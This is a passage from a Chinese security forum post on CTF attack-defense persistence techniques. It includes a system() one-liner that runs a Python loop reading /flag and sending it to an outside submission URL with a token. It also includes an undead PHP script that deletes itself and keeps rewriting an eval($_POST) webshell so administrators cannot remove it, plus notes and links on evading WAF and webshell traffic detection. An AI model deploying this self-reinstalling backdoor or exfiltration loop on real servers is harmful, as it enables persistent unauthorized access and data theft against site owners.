system("python3 -c \"while 1:exec(\\\"flag=__import__('os').popen('cat /flag').read()[:-1];print(flag);io=__import__('requests').get('https://ctf.bugku.com/pvp/submit.html?token=67c0d48c49a89cc434b2f95da944e759&flag='+flag);print(io.content);__import__('time').sleep(600);\\\");\" & ");
僵尸进程 : 子进程先于父进程退出,父进程又没有处理子进程的退出状态,此时子进程就会称为僵尸进程。
父进程通过sleep(600)保证子进程优先于父进程退出
(77条消息) python僵尸进程的产生和僵尸进程自动处理_pipe导致僵尸进程_Jimmy-TONG的博客-CSDN博客[4]
php
<?php
  set_time_limit(0);
  ignore_user_abort(1);
  unlink(__FILE__);
  while (1) {
    $content = '<?php @eval($_POST["123"]) ?>';
    file_put_contents("snert.php", $content);
    usleep(10000);
}
?>
通过内存马启动后删除文件本身之前,使代码在内存中执行死循环,使管理员无法删除内存马,达到权限维持的目的。
流量绕过弱特征:HTTP Header
request和response内容
参考之前HW看的文章
  • • 哥斯拉【原创】哥斯拉Godzilla加密流量分析 - FreeBuf网络安全行业门户[5]
  • • 冰蝎利用动态二进制加密实现新型一句话木马之Java篇 - 先知社区[6]冰蝎V4.0流量分析到攻防检测 - SecPulse.COM | 安全脉搏[7]冰蝎4.0自定义加密 - 先知社区[8]

参考文章
https://xz.aliyun.com/t/368
https://xz.aliyun.com/t/10515
[Bypass WAF Cookbook - MayIKissYou](https://wooyun.js.org/drops/Bypass WAF Cookbook.html)
https://www.anquanke.com/post/id/203880
玄武盾的几种绕过姿势 - 先知社区[9]
引用链接
[1] WAF功能介绍(入门扫盲篇) - 一觉醒来写程序 - 博客园: https://www.cnblogs.com/realjimmy/p/12937247.html
[2] 文件流 (本地文件系统) - Win32 apps | Microsoft Learn: https://learn.microsoft.com/zh-cn/windows/win32/fileio/file-streams
[3] WebShell通用免杀的思考 - 腾讯云开发者社区-腾讯云: https://cloud.tencent.com/developer/article/1625439
[4] (77条消息) python僵尸进程的产生和僵尸进程自动处理_pipe导致僵尸进程_Jimmy-TONG的博客-CSDN博客: https://blog.csdn.net/Freshduke/article/details/111544319
[5] 【原创】哥斯拉Godzilla加密流量分析 - FreeBuf网络安全行业门户: https://www.freebuf.com/sectool/285693.html
[6] 利用动态二进制加密实现新型一句话木马之Java篇 - 先知社区: https://xz.aliyun.com/t/2744
[7] 冰蝎V4.0流量分析到攻防检测 - SecPulse.COM | 安全脉搏: https://www.secpulse.com/archives/195173.html
[8] 冰蝎4.0自定义加密 - 先知社区: https://xz.aliyun.com/t/12453
[9] 玄武盾的几种绕过姿势 - 先知社区: https://xz.aliyun.com/t/11607#toc-1

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 15:48 , Processed in 0.023030 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表